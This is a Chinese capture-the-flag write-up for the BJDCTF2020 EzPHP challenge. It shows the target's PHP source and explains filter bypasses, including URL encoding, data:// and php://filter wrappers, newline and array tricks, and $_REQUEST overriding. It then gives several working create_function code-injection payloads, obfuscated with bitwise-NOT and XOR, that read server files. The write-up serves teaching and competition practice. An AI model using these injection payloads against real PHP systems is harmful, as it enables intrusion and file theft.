[BJDCTF2020]EzPHP create_function()代码注入绕过$_REQUEST和QUERY_STRING等

0x01 题目源码

 
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!
";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?
";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

这儿需要绕过较多的匹配

• $_SERVER['QUERY_STRING']
  不会解码，直接编码绕过
• file传参，需要满足正则和===
  这儿由于限制了http和https，所以我们不能使用vps上的文件，这儿使用php://input和data://都可以~~

 if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')

这儿直接在后面加%0a就可以绕过~~

• $_REQUEST这儿需要满足参数的值不能有字母
  由于之前接收的参数为$_GET，而这儿接收的参数为$_REQUEST，所以我们只需要POST一些相同的参数，覆盖掉$_GET的参数就行了，这是因为$_REQUEST的解析是有一定顺序的，应该是先解析$_GET，再解析$_POST，这样我们就能绕过这个点~~
• sha1($shana) === sha1($passwd) && $shana != $passwd
  最简单的，直接数组绕过就行了~~

先给出绕过上面 点的payload：

/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

最后一个点

这个点也是最难的一个点，主要考察create_function代码注入

实际上myFunc() 就相当于:

 function myFunc($a, $b)
 { 
 return $a+$b;
  }

举一个简单的例子~~

$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST["a"]);\\')

而我们实际运行的代码为：

function myFunc($a, $b)
{ return $a+$b; } 
eval($_POST['a']);//}

这儿直接给出payload，知道原理后稍微分析一下就可以了~~
只针对这个点的绕过~~

1

define 定义变量， fopen fgets获取文件内容

%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23

解码得到

flag[code]=create_function&flag[arg]=;}define(aaa,fopen(~(���Ι�˘я��),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);#

这儿的~代表取反，是用来绕过正则的~

2

取反绕过+伪协议读源码

%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

解码得到

flag[code]=create_function&flag[arg]=;}require(~(�����Й�����Ѝ���œ������ѝ�����Қ�����Ѝ���������Ι�˘я��));//

3

?deb%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&rce=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%72%65%61%31%66%6c%34%67%2e%70%68%70&rce2=r&sha%6e%61[]=a&pa%73sw%64[]=b&fla%67[co%64e]=create_function&fla%67[ar%67]=;}require(get_defined_vars()[_GET][rce]);%0a//

解码得到

?debu=aqua_is_cute
&file=data:,debu_debu_aqua&rce=php://filter/read=convert.base64-encode/resource=rea1fl4g.php&rce2=r&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=;}require(get_defined_vars()[_GET][rce]);
//

这儿利用get_defined_vars()获得通过$_GET传的参数~~，巧妙地绕过了最后的正则匹配~~

4

正则匹配了&和|导致无法与运算和或运算，但是可以^异或和~按位取反。

%66%6c%61%67[arg]=}require(%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff);var_dump(get_defined_vars());//

最后说一下，我们代码注入时选择得注释符号可以是#，也可以是\\，但是#需要编码，即%23

写在最后，其实这道题最后一层可以更加难一点，对于code变量我们可以增加对_的过滤，这样我们就能过滤create_function，这样我们可以通过命名空间\绕过

0x02 参考链接

Y1ng师傅wp链接